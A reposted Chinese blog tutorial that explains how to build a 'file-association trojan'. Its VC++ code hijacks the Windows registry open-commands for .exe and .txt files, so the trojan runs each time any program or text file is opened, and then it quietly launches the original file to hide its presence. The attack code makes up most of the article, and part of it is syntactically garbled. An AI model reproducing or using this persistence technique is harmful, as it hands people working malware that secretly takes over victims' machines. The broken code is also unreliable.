檔案關聯型木馬的程式設計思路 (轉)
我們知道一般情況下想在開機啟動,就要把程式寫在登錄檔中的
HKEY_CURRENT_USERSoftwareCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunService
等環境中,由於這個值大家都比較熟悉所以很容易被查出,而且進入了windows保護這些程式是不會執行的,但是如果我們把我們的程式在登錄檔中進行了關聯卻收到了很好的結果。
在登錄檔HKEY_CLASSES_exefileopencommand中的值就是可程式*.exe 的關聯處,預設為“"%1" %*”,如果把這個程式改為我們的程式,那樣的話,每執行一個可執行程式就會執行我們的程式,而不會再執行原有的程式,這樣我們的木馬就起動了,我們要做的工作就是我們的木馬啟動後,再執行原有的程式,這樣對於一般的人來看好像什麼事也沒發生過。好了心動不如行動,我們開始動手做一個吧。
:namespace prefix = o ns = "urn:schemas-microsoft-com::office" />
l 首先用vc建立一個基於對話方塊的程式srart
在CstartDlg加入公有變數 HANDLE hMutex;防止我們的木馬執行多次。
l 在CStartDlg::OnInitDialog()中加入如下:
CString str;
str.Format("%s", AfxGetApp()->m_lpCmdLine);//取得傳入的命令列引數
const char *Mutex="MyStart";//建立互斥
hMutex=NULL;
hMutex=::CreateMutex(false,false,MutexObject);
if(hMutex!=NULL)
{
D err=GetLastError();
if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果發現同一程式已經執行,則退出
}
if(str!="")
{
CString temp;
char ch;
int length =str.GetLength();
for(int i=0;i { ch=str.GetAt(i); if(ch==') temp=temp+""; else temp=temp+ch; } temp = temp.Left(temp.GetLength() - 2); temp = temp.Mid(1); //上面的函式是把字串中所有的””變為”” char str1[]=""%1" %*"; ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand", REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1); // 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。 ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//執行原有的程式 } //在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的 TCHAR str2[256]; // 得到程式全路徑名 GetModuleFileName( NULL, str2, 255 ); strcat(str2," "%1" %*"); ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1); //經過上述過程只要程式一執行就會執行我們的start 程式了。即使是在模式下只要執行可執行程式就會執行我們的程式了。 同樣的我們也可以將其它檔案進行關聯,例如將文字檔案進行關聯,在CStartDlg::OnInitDialog()中重新加下程式碼 CString str; str.Format("%s",AfxGetApp()->m_lpCmdLine);//取得傳入的命令列引數 const char *MutexObject="MyStart";//建立互斥物件 hMutex=NULL; hMutex=::CreateMutex(false,false,MutexObject); if(hMutex!=NULL) { DWORD err=GetLastError(); if(err==ERROR_ALREADY_EXISTS) ::PostQuitMessage(0);//如果發現同一程式已經執行,則退出 } if(str.Find("txt")!=-1) { CString temp; char ch; int length =str.GetLength(); for(int i=0;i { ch=str.GetAt(i); if(ch==') temp=temp+""; else temp=temp+ch; } temp = temp.Left(temp.GetLength() - 2); temp = temp.Mid(1); //上面的函式是把字串中的""變為"" char str1[]=""%1" %*"; // 在執行原有程式之前必須把登錄檔恢復,否則用ShellExecute還是執行我們的木馬程式。 ShellExecute(NULL,"open","notepad.exe",temp,NULL,SW_SHOW);//執行原有的程式 } //在程式執行完成後,再把登錄檔改為我們要啟動的木馬程式的 TCHAR str2[256]; // 得到程式全路徑名 GetModuleFileName( NULL, str2, 255 ); strcat(str2," "%1" %*"); ::RegSetValue(HKEY_CLASSES_ROOT,"txtfileshellopencommand", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1); //經過上述過程只要程式一執行就會執行我們的start 程式了。 當然了這些程式在自己的機器上執行後還是要恢復的下面的函式就可以幫助進行恢復了 char str2[]="NOTEPAD.EXE %1"; ::RegSetValue(HKEY_CLASSES_ROOT,"txtfileshellopencommand", REG_SZ,(LPCTSTR)str2 , strlen(str2) + 1); char str1[]=""%1" %*"; ::RegSetValue(HKEY_CLASSES_ROOT,"exefileshellopencommand", REG_SZ,(LPCTSTR)str1 , strlen(str1) + 1); 當然了這個程式在下執行比較正常,在下無法開啟桌面上的資料夾,再也就沒什麼問題了。如果誰知道,請告訴我, sunyuzhe@263
來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10752043/viewspace-992743/,如需轉載,請註明出處,否則將追究法律責任。
相關文章
- 一次minerd肉雞木馬的排查思路
- WebStorm檔案型別關聯設定WebORM型別
- 檔案關聯 (轉)
- 一個不坐旋轉木馬的朋友
- 寫木馬的經典,dll插入系統程式的原始碼(轉)原始碼
- 網路駭客欺騙執行木馬的方法!(轉)
- 檔案下載統計php程式設計 (轉)PHP程式設計
- 啟動關聯的應用程式開啟特殊檔案 (轉)
- Windows檔案關聯Windows
- 區別木馬與病毒,以及識別與防治木馬的方法
- 檔案程式設計、檔案下載程式設計
- 程式設計入門——壘積木學程式設計程式設計
- 一種新的程式設計思路(中): (轉)程式設計
- 一種新的程式設計思路(上) (轉)程式設計
- 檔案合併新思路(附完整DELPHI程式碼) (轉)
- 一個支付寶木馬的分析溯源之旅
- 如何修復被掛木馬的php網站PHP網站
- SQL Server是否有特洛伊木馬的測試SQLServer
- windows 更改檔案關聯Windows
- 一種新的程式設計思路(中)附: (轉)程式設計
- 程式設計題:尋找木頭程式設計
- 載入預設未被lense關聯的檔案
- Linux核心程式設計(字元裝置檔案)(轉)Linux程式設計字元
- Windows XP 系統中檔案關聯的更改(轉)Windows
- Linux檔案程式設計Linux程式設計
- 建立自己的上傳元件的程式設計思路 (轉)元件程式設計
- Linux核心模組程式設計/proc 檔案系統(轉)Linux程式設計
- .NET泛型程式設計簡介 (轉)泛型程式設計
- Linux挖礦木馬的技術演進探討Linux
- Rust 程式設計,讀取檔案Rust程式設計
- 關於螢幕程式設計(轉)程式設計
- VB程式設計師的FTP程式設計指南1.4-下載或上傳檔案 (轉)程式設計師FTP
- Linux核心程式設計(和裝置檔案對話)(轉)Linux程式設計
- 針對Excel表格檔案操作的程式設計實現 (轉)Excel程式設計
- 【shell程式設計】目錄檔案計數程式設計
- 程式設計師的最高境界:呆若木雞程式設計師
- vc++實現檔案關聯C++
- 利用msfvenom生成木馬檔案